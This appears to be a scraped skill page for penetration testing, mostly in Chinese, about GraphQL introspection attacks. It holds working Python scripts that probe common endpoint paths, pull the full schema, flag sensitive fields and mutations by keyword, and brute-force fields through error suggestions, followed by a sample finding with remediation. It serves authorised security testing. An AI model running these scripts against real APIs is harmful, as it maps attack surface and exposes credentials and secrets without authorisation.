executing-plans
executing-plans
Use when executing an implementation plan in the current session as the implementer yourself — your human partner chose inline execution, or no subagent tool is available
performing-graphql-introspection-attack执行 GraphQL 自省(Introspection)攻击,从 GraphQL 端点提取完整的 API Schema, 包括类型、查询(Query)、变更(Mutation)、订阅(Subscription)和字段定义。 测试人员使用自省查询绘制攻击面,识别敏感字段和变更操作,测试查询深度和复杂度限制, 并利用 GraphQL 特有漏洞,包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。
Independent GitHub snapshot · Automated classification · Original documentation governs
请勿在未获书面授权的情况下使用。Schema 提取和查询滥用测试可能影响服务可用性。
requests 和 gql 库import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}
# 常见 GraphQL 端点路径
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
# 探测 GraphQL 端点
for path in GRAPHQL_PATHS:
# 使用简单的自省查询测试
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL 端点:{TARGET}{path}")
print(f" 响应:{resp.text[:200]}")
except requests.exceptions.RequestException:
pass
# 也测试 GET 方法
try:
resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL 端点(GET):{TARGET}{path}")
except requests.exceptions.RequestException:
pass
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}
# 提取完整 Schema 的全量自省查询
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if "data" in schema and "__schema" in schema["data"]:
print("[VULNERABLE] 完整自省已启用")
types = schema["data"]["__schema"]["types"]
# 分类类型
custom_types = [t for t in types if not t["name"].startswith("__")]
queries = schema["data"]["__schema"]["queryType"]
mutations = schema["data"]["__schema"].get("mutationType")
print(f"\nSchema 摘要:")
print(f" 自定义类型:{len(custom_types)}")
print(f" 查询类型:{queries['name'] if queries else 'None'}")
print(f" 变更类型:{mutations['name'] if mutations else 'None'}")
# 列出所有自定义类型及其字段
for t in custom_types:
if t.get("fields"):
print(f"\n 类型:{t['name']}")
for field in t["fields"]:
field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
print(f" - {field['name']}: {field_type}")
# 保存 Schema 以供进一步分析
with open("graphql_schema.json", "w") as f:
json.dump(schema, f, indent=2, ensure_ascii=False)
print("\nSchema 已保存到 graphql_schema.json")
else:
print("[SECURED] 自省已禁用或受限")
print(f"响应:{resp.text[:500]}")
else:
print(f"请求失败:{resp.status_code}")
# 分析提取的 Schema,查找敏感字段和类型
SENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if "data" in schema:
print("\n=== 敏感 Schema 分析 ===\n")
for t in custom_types:
# 检查类型名称
for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
if sensitive_type.lower() in t["name"].lower():
print(f"[SENSITIVE TYPE] {t['name']}")
# 检查字段名称
if t.get("fields"):
for field in t["fields"]:
for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
if sensitive_field.lower() in field["name"].lower():
print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")
# 检查变更名称
if mutations:
mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
if mutation_type and mutation_type.get("fields"):
for mutation in mutation_type["fields"]:
for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
if sensitive_mut.lower() in mutation["name"].lower():
print(f"[SENSITIVE MUTATION] {mutation['name']}")
# 利用字段建议错误重建 Schema
def bruteforce_field(type_name, field_wordlist):
"""使用 GraphQL 错误消息发现有效字段。"""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
# GraphQL 通常在错误消息中提示有效字段名称
if "did you mean" in response_text:
# 提取建议
import re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s not in discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s}(通过建议发现)")
elif resp.status_code == 200 and "errors" not in resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fields
# 常见 GraphQL 字段名称字典
FIELD_WORDLIST = [
"id", "name", "email", "username", "password", "role", "token",
"createdAt", "updatedAt", "status", "type", "description", "title",
"firstName", "lastName", "phone", "address", "avatar", "bio",
"isAdmin", "isActive", "permissions", "groups", "orders", "items",
"price", "quantity", "total", "currency", "paymentMethod",
"ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
"apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]
# 尝试发现常见类型名称上的字段
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
print(f"\n暴力枚举 '{type_name}' 上的字段:")
fields = bruteforce_field(type_name, FIELD_WORDLIST)
| 术语 | 定义 |
|---|---|
| GraphQL 自省(Introspection) | 查询 Schema 定义的内置功能,暴露 API 中所有可用的类型、字段、查询、变更和订阅 |
| 查询深度攻击(Query Depth Attack) | 发送深度嵌套查询导致指数级解析器执行,消耗服务器资源并可能引发 DoS |
| 基于别名的批量攻击(Alias-Based Batching) | 使用 GraphQL 别名在单个请求中执行多个操作,绕过每请求速率限制 |
| Schema 重建(Schema Reconstruction) | 在自省被禁用时,通过分析错误消息和字段建议重建 GraphQL Schema |
| 字段级别授权(Field-Level Authorization) | 根据已认证用户的角色或权限控制对 GraphQL 类型中各字段的访问 |
| 查询复杂度分析(Query Complexity Analysis) | 在执行前计算 GraphQL 查询的计算成本,以强制执行资源限制 |
背景:一个电商平台从 REST 迁移到 GraphQL。GraphQL 端点为 Web 和移动前端提供服务。自省在开发期间保持启用,但未在生产环境中禁用。
方法:
/graphql 端点运行完整自省查询——完整 Schema 包含 45 个类型、120 个查询和 38 个变更AdminUser、PaymentInfo、InternalConfig、AuditLogUser 类型暴露 passwordHash、mfaSecret 和 lastLoginIp 字段deleteUser、updateRole、exportAllOrdersInternalConfig 类型,包含 databaseConnectionString 和 stripeSecretKey 字段## 发现:GraphQL 自省已启用并暴露敏感 Schema
**ID**:API-GQL-001
**严重性**:高(CVSS 7.5)
**受影响端点**:POST /graphql
**使用工具**:InQL、Clairvoyance、自定义 Python 脚本
**描述**:
GraphQL 端点在生产环境中启用了自省,暴露了完整的 API Schema,
包括 45 个类型、120 个查询和 38 个变更。
Schema 揭示了敏感内部类型(AdminUser、PaymentInfo、InternalConfig),
并暴露了包含密码哈希、MFA 密钥和数据库连接字符串的字段。
未执行查询深度或复杂度限制,可通过嵌套查询实现拒绝服务。
**修复建议**:
1. 在生产环境中禁用自省
2. 使用 GraphQL 指令实现字段级别授权(@auth、@hasRole)
3. 从 Schema 中删除敏感字段或添加授权中间件限制访问
4. 实施查询深度限制(最大 10 层)和复杂度评分
5. 禁用错误消息中的字段建议以防止 Schema 重建
6. 对 GraphQL 请求按查询而非按 HTTP 请求进行速率限制